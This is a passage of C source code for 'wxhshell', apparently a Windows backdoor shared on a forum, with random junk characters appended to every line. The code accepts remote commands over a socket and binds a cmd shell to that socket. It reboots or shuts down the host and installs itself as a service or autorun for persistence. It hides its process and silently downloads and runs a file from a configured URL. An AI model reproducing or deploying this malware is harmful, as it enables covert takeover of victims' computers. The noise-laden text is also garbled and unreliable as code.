  case '?': { PN0VQ/..  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1J6,]M  
    break; "oWwc zzO  
  } MepuIh  
  // 安装 !icT/5  
  case 'i': { iZPCNS"  
    if(Install()) 994` ua+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Rz&lh/  
    else aaKN^fi&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HQ|MhM/"  
    break; klQC2drS  
    } Qd=^S^}(  
  // 卸载 V?Z.\~  
  case 'r': { OS4q5;1#  
    if(Uninstall()) # S}Z8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e?`5>& Up  
    else hdnTXs@z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ET_W-  
    break; N+LL@[  
    } =1O<E  
  // 显示 wxhshell 所在路径 O$D'.t  
  case 'p': { zS\E/.X2  
    char svExeFile[MAX_PATH]; k=4N(i/s  
    strcpy(svExeFile,"\n\r"); \ {qI4=  
      strcat(svExeFile,ExeFile); xfy1pS.[:  
        send(wsh,svExeFile,strlen(svExeFile),0); a^Tm u  
    break; |fxA|/ s[<  
    } 0q.Ujm=,z  
  // 重启 .fN"@l  
  case 'b': { &j?#3Qt'_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ U kr  
    if(Boot(REBOOT)) <EPj$::  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6o_b4l  
    else { uHH/rMV  
    closesocket(wsh); %7#-%{  
    ExitThread(0); CNQC^d\ h  
    } xY+VyOUs  
    break; XW -2~?$  
    } X/z6"*(|/  
  // 关机 s7g(3<(  
  case 'd': { /CuXa%Ci^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T<JwD[ (  
    if(Boot(SHUTDOWN)) SrFS#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?+g`HTY u  
    else { S!Omy:=;i  
    closesocket(wsh); nl(WJKq'  
    ExitThread(0); K+Z+wA?  
    } )uK{uYQl  
    break; CM<]ZG7  
    } # altx=6'  
  // 获取shell >H(i^z/c  
  case 's': { ME;n^y\8  
    CmdShell(wsh); D?C)BcN  
    closesocket(wsh); +Vo}F  
    ExitThread(0); rj6tZJZ#o0  
    break; =Zu^80/  
  } /n5F(5<  
  // 退出 %q!8={J8  
  case 'x': { T[,/5J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FP0G]=ME  
    CloseIt(wsh); {r> .G7P6  
    break; {fha`i  
    } pl5P2&k  
  // 离开 Tneq6>  
  case 'q': { JC}f-%H?K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A a= u+  
    closesocket(wsh); t~E<j+<2B  
    WSACleanup(); t6,wjN-J  
    exit(1); e'*`.^  
    break; yz-,)GB6  
        } b B  x?  
  } 4Sm]>%F':  
  } % r-V2)  
p. R2gl1m  
  // 提示信息 3' ~gvi I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B|C/ Rk6?  
} +$$$  
  } HQUeWCN  
.s<*'B7&  
  return; v1|Bf8  
} J[A14z]#`  
eVt$7d?Jw  
// shell模块句柄 aWwPvd3  
int CmdShell(SOCKET sock) v~T7`  
{ a@@M+9Q  
STARTUPINFO si; qS/V"|G(  
ZeroMemory(&si,sizeof(si)); @WQK>-=(3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G [:N0{v5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  |y h\  
PROCESS_INFORMATION ProcessInfo; xXY.AoO6  
char cmdline[]="cmd"; }R)=S_j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i.xXb [M+  
  return 0; $xOI 1|d   
} 9%iUG(DC  
`C_jP|[e  
// 自身启动模式 tV_t6x_.  
int StartFromService(void) Tx 1 vL  
{ ?E9DXg  
typedef struct &O)&k  
{ anj#@U;!  
  DWORD ExitStatus; +vNZW@_$D  
  DWORD PebBaseAddress; ari7iF ~j  
  DWORD AffinityMask; ^A][)*SZ  
  DWORD BasePriority; QDTBWM%  
  ULONG UniqueProcessId; 8>7RxSF  
  ULONG InheritedFromUniqueProcessId; b1gaj"]  
}   PROCESS_BASIC_INFORMATION; \.f}W_OF  
G/d4f?RU  
PROCNTQSIP NtQueryInformationProcess; Q|,B*b  
T"p(]@Ng  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l akp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #Ei,(xiP  
6oinidB[l  
  HANDLE             hProcess; WEa2E?*  
  PROCESS_BASIC_INFORMATION pbi; 8K;Y2 #  
GyW.2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =?])['VaA  
  if(NULL == hInst ) return 0; "c(Sysl.L  
&m {kHM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [k[u*5hP|F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X53mzs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4"@GNk~e  
x lsqj`=  
  if (!NtQueryInformationProcess) return 0; 4g}FB+[u  
ZkP {[^6d\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >#}2J[2HQ  
  if(!hProcess) return 0; dl5=q\1=  
KQld YA|m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R8-^RvG  
R//$r%a  
  CloseHandle(hProcess); PSRzrv$l  
vLa#Y("  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ *&X~8@)  
if(hProcess==NULL) return 0; :s-o0$PlJ  
E RdL^T>  
HMODULE hMod; '.Ym!r~wL  
char procName[255]; A])P1c. 7"  
unsigned long cbNeeded; KECElK3uj  
yMc:n "-[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jz:r7w{4eB  
Bi~:>X\[^6  
  CloseHandle(hProcess); sp QLG_o,J  
o<l 2r  
if(strstr(procName,"services")) return 1; // 以服务启动 Q}*y$se!  
EPX8Wwf  
  return 0; // 注册表启动 xU S]P)R  
} (X+s-4%  
?/M_~e.P  
// 主模块 m7=1%6FN3  
int StartWxhshell(LPSTR lpCmdLine) #FYAV%pi  
{ L{ho*^b  
  SOCKET wsl; ?$z.K>S5  
BOOL val=TRUE; !r+IXuqV,!  
  int port=0; V (rr"K+  
  struct sockaddr_in door; g,]@4|  
"PH6e bm  
  if(wscfg.ws_autoins) Install(); -6=<#9R  
)9=(|Lp  
port=atoi(lpCmdLine); `@`1pOb  
4ZC!SgJo  
if(port<=0) port=wscfg.ws_port; 64j|}wJ$  
hzY[ G :  
  WSADATA data; | A:@ &|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _7kM]">j  
6<Hu8$G|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rS*$rQCr=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6+dn*_[Z6  
  door.sin_family = AF_INET; "Vd_CO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7m9 " 8   
  door.sin_port = htons(port); O'NW Ebl/  
&hV Zx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 68R1AqU_  
closesocket(wsl); ~V)?>)T  
return 1; ~S; Z\  
} % *z-PT22  
Qbeeq6  
  if(listen(wsl,2) == INVALID_SOCKET) { "DSPPE&[c  
closesocket(wsl); wk\L*\@Y}  
return 1; XTqm]  
} kGN||h  
  Wxhshell(wsl); pKJK9@Ad  
  WSACleanup(); LD(C\  
DFe;4BdC  
return 0; TSL9ax4j  
7\/5r.  
} 4p)e}W*  
~# 7wdP  
// 以NT服务方式启动 uCzii o`S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y:x/!-  
{ V*65b(q)  
DWORD   status = 0; zuL7%qyv  
  DWORD   specificError = 0xfffffff; 0y %L-:/c|  
h ?#@~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7w58L:)B.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FN )d1q(~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3gfimD$_E  
  serviceStatus.dwWin32ExitCode     = 0; yu&Kh4AP  
  serviceStatus.dwServiceSpecificExitCode = 0; 8SnS~._9  
  serviceStatus.dwCheckPoint       = 0;  oYX{R  
  serviceStatus.dwWaitHint       = 0; FUeq \Wuo  
*+lsZ8'^C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gs`^~iD]m  
  if (hServiceStatusHandle==0) return; ~%y\@x7I  
Pg^h,2h  
status = GetLastError(); }X$l\pm  
  if (status!=NO_ERROR) $W!]fcZlB  
{ . %(^mK)zQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <9@7,2  
    serviceStatus.dwCheckPoint       = 0; IftxSaP  
    serviceStatus.dwWaitHint       = 0; +T_ p8W+j  
    serviceStatus.dwWin32ExitCode     = status; o;J;*~g  
    serviceStatus.dwServiceSpecificExitCode = specificError; [{F%LRCo-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K 6pw8  
    return; V 2kWiyN  
  } EIX\O6*  
R]b! $6Lt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oL *n>dH  
  serviceStatus.dwCheckPoint       = 0; _|n=cC4Qu  
  serviceStatus.dwWaitHint       = 0; U6WG?$x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rS~qi}4X  
} vC9@,[  
Q5E:|)G  
// 处理NT服务事件,比如:启动、停止 <jd/t19DB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hWGZd~L  
{ Sa]Ek*  
switch(fdwControl) V 4qtaHf  
{ 5RA<Z.  
case SERVICE_CONTROL_STOP: o+)A'S  
  serviceStatus.dwWin32ExitCode = 0; ]XrE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zW'/2W.  
  serviceStatus.dwCheckPoint   = 0; 4DML  
  serviceStatus.dwWaitHint     = 0; z Bf;fi  
  { ^eTZn[qH>w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kMe@+ysL  
  } QTh0 SL  
  return; bf98B4<  
case SERVICE_CONTROL_PAUSE: -h\@RC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'yT`ef  
  break; :{CFTc5:A  
case SERVICE_CONTROL_CONTINUE: '\4fU%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \JU ~k5j  
  break; h=f6~5l5  
case SERVICE_CONTROL_INTERROGATE: _O 52ai><b  
  break; ec?1c&E  
}; \|{*arS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7t4v~'h;5e  
} w~v<v&  
<;KRj85"j  
// 标准应用程序主函数 u[`v&e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @f=RL)$|  
{  M]0^ind  
QV)}3pW  
// 获取操作系统版本 Gm@iV,F%R  
OsIsNt=GetOsVer(); FuMq|S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r } 7:#XQ  
ib Ue*Z["1  
  // 从命令行安装 e 2*F;.)  
  if(strpbrk(lpCmdLine,"iI")) Install(); LV=^jsQ5  
-R@JIe_28f  
  // 下载执行文件 ,^+#M{Z  
if(wscfg.ws_downexe) { 2E$i_jc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1E^{B8cm  
  WinExec(wscfg.ws_filenam,SW_HIDE); m3%ef  
} LY1KQuY  
E8;TLk4\  
if(!OsIsNt) { *K!7R2Rat  
// 如果时win9x,隐藏进程并且设置为注册表启动 M 5rwoyn  
HideProc(); (+$ol'i  
StartWxhshell(lpCmdLine); ;zm ks]  
} ) :}Fu  
else w&+\Wo;([b  
  if(StartFromService()) .q0AoM  
  // 以服务方式启动 7BrV<)ih{*  
  StartServiceCtrlDispatcher(DispatchTable); _s@bz|yqw  
else toN  
  // 普通方式启动 4 f3=`[%  
  StartWxhshell(lpCmdLine); !SN WB  
u mqKFM$  
return 0; wV %8v\  
}
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只看该作者 1 发表于: 2006-10-10
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